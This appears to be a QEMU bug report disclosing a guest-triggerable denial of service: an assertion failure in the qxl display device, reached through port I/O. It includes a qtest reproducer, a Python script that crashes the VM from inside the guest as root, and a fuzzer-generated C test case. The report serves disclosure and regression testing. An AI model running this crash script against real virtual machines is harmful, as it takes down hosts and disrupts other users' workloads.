Skip to content

DoS via assert failure by guest user

Host environment

  • Operating system: Ubuntu

  • OS/kernel version: 20.04

  • Architecture: x86_64

  • QEMU flavor: qemu/master

  • QEMU version: 8.0.92 (v8.1.0-rc2-80-g 0450cf08-dirty), commit 0450cf08

  • QEMU command line:

    ./qemu-system-x86_64 -vga qxl -hda debian.img -m 2048 -nodefaults

Emulated/Virtualized environment

  • Operating system: Debian
  • OS/kernel version: 12.1.0
  • Architecture: x86_64

Description of problem

As root in guest VM user can execute special script, which crashes the whole VM with error

hw/display/qxl.c:1594 inside of function void qxl_set_mode(PCIQXLDevice *, unsigned int, int): Assertion `qxl_add_memslot(d, 0, devmem, QXL_SYNC) == 0` failed

Steps to reproduce

  1. This bug can be reproduced with:

    cat << EOF | ./build/qemu-system-x86_64 -vga qxl -m 2048 -nodefaults -qtest stdio
    outl 0xcf8 0x8000101c
    outl 0xcfc 0xc000
    outl 0xcf8 0x80001001
    outl 0xcfc 0x01000000
    outl 0xc006 0x00
    EOF
  2. Also, we can execute this python3 script inside guest VM as root (to invoke VM use command: qemu-system-x86_64 -vga qxl -hda debian.img -m 2048 -nodefaults):

    import os
    f = os.open("/dev/port", os.O_RDWR|os.O_NDELAY)
    l = os.lseek(f, 0xcf8, 0)
    os.write(f, b'\x80\x00\x10\x1c')
    l = os.lseek(f, 0xcfc, 0)
    os.write(f, b'\xc0\x00')
    l = os.lseek(f, 0xcf8, 0)
    os.write(f, b'\x80\x00\x10\x01')
    l = os.lseek(f, 0xcfc, 0)
    os.write(f, b'\x01\x00\x00\x00')
    l = os.lseek(f, 0xc006, 0)
    os.write(f, b'\x00')

    This script causes VM to crash.

    PoC_qxl-vga_crash.mkv

Additional information

This issue was found by fuzzing. Here is an auto-generated C source code for a test case that will reproduce the bug.

/*
 * Autogenerated Fuzzer Test Case
 *
 * Copyright (c) 2023 Artem Nasonov <anasonov@astralinux.ru>
 *
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
 * See the COPYING file in the top-level directory.
 */

#include "qemu/osdep.h"

#include "libqtest.h"

/*
 * cat << EOF | qemu-system-x86_64 -vga qxl -hda \
 * ~/Downloads/virtualdebian.img -m 2048 -nodefaults -qtest stdio
 * outl 0xcf8 0x8000101c
 * outl 0xcfc 0xc000
 * outl 0xcf8 0x80001001
 * outl 0xcfc 0x01000000
 * outl 0xc006 0x00
 * EOF
*/
static void test_qxl_set_mode(void)
{
QTestState *s = qtest_init("-vga qxl -m 2048 -nodefaults");
qtest_outl(s, 0xcf8, 0x8000101c);
qtest_outl(s, 0xcfc, 0xc000);
qtest_outl(s, 0xcf8, 0x80001001);
qtest_outl(s, 0xcfc, 0x01000000);
qtest_outl(s, 0xc006, 0x00);
qtest_quit(s);
}int main(int argc, char **argv)
{
    const char *arch = qtest_get_arch();

    g_test_init(&argc, &argv, NULL);

   if (strcmp(arch, "x86_64") == 0) {
        qtest_add_func("fuzz/test_qxl_set_mode",test_qxl_set_mode);
   }

   return g_test_run();
}
Edited by Artem Nasonov
To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information